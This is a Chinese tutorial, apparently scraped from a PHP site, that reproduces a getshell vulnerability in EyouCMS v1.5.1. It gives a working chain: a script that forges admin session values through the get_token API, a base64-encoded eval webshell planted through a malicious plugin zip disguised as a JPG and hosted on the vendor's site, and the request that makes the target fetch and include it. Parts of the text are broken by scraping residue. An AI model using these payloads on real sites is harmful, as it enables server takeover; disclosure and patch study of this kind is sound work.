讚讚網路科技EyouCMS(易優CMS)是中國讚贊網路科技公司的一套基於ThinkPHP的開源內容管理系統(CMS)。
Eyoucms v1.5.1 及以前版本存在任意使用者後台登陸與檔案包含漏洞,該漏洞使攻擊者可以透過呼叫api,在前台設定一個管理員的session,後台遠端插件下載檔案包含getshell。
EyouCMS <= 1.5.1
官網下載V1.5.1版本
下載連線:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
透過phpstudy整合環境簡單部署
get_token
#$name
可以嘗試透過這個設定session的操作,建構出一個後台管理員的session。然後我們整理一下後台管理員的登入邏輯。在application/admin/controller/Base.php:54
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
admin_login_expire
#(該session會做減法的校驗,需要滿足一定條件)
admin_id
(該session有就即可,不會驗證其值)
設定完這兩個session後,我們繼續看到if條件判斷裡還有一個
函數,跟進查看:
if (0 >= intval(session('admin_info.role_id')))</code></p> <p>admin_info.role_id<br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>#(滿足小於等於0即可)<p>設定完三個session後,就可以進後台了,如圖:<br><img src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>後台遠端外掛程式下載getshell在application/admin/controller/Weapp.php:1235<br><img src="https://img.php.cn/upload/article/000/000/164/168458488422879.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>這裡傳進來一個$url,然後做一個url解析,要滿足host為eyoucms.com。 <p>也就是程式限制只能從官網下載外掛程式安裝,但這個校驗太簡單了,可以繞。 <br>然後下文就是請求這個下載鏈接,做解壓縮操作,並包含進來config.php。 <br><strong></strong></p>這後面再做的外掛標準判斷已經不起作用了。 <p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488464024.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">0x04 漏洞利用</p>######前台設定一個管理員的session###首先我們可以先取出成功登陸後的管理員session與未登入的普通使用者session做比較###管理員:############普通使用者:#############呼叫get_token函數設定名為admin_login_expire的session####### ######再查看該普通使用者的session############已成功設定。 ###同樣的我們可以把admin_id與admin_info.roke_id加進去。 ######但是###這md5字串顯然不符合漏洞分析中的要求,所以這裡透過腳本不斷刷新session,直到尋找到適當的md5值###<pre class="brush:php;toolbar:false">while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
升级EyouCMS至V1.5.2或以后版本。
以上是如何進行EyouCMS V1.5.1 前台getshell漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!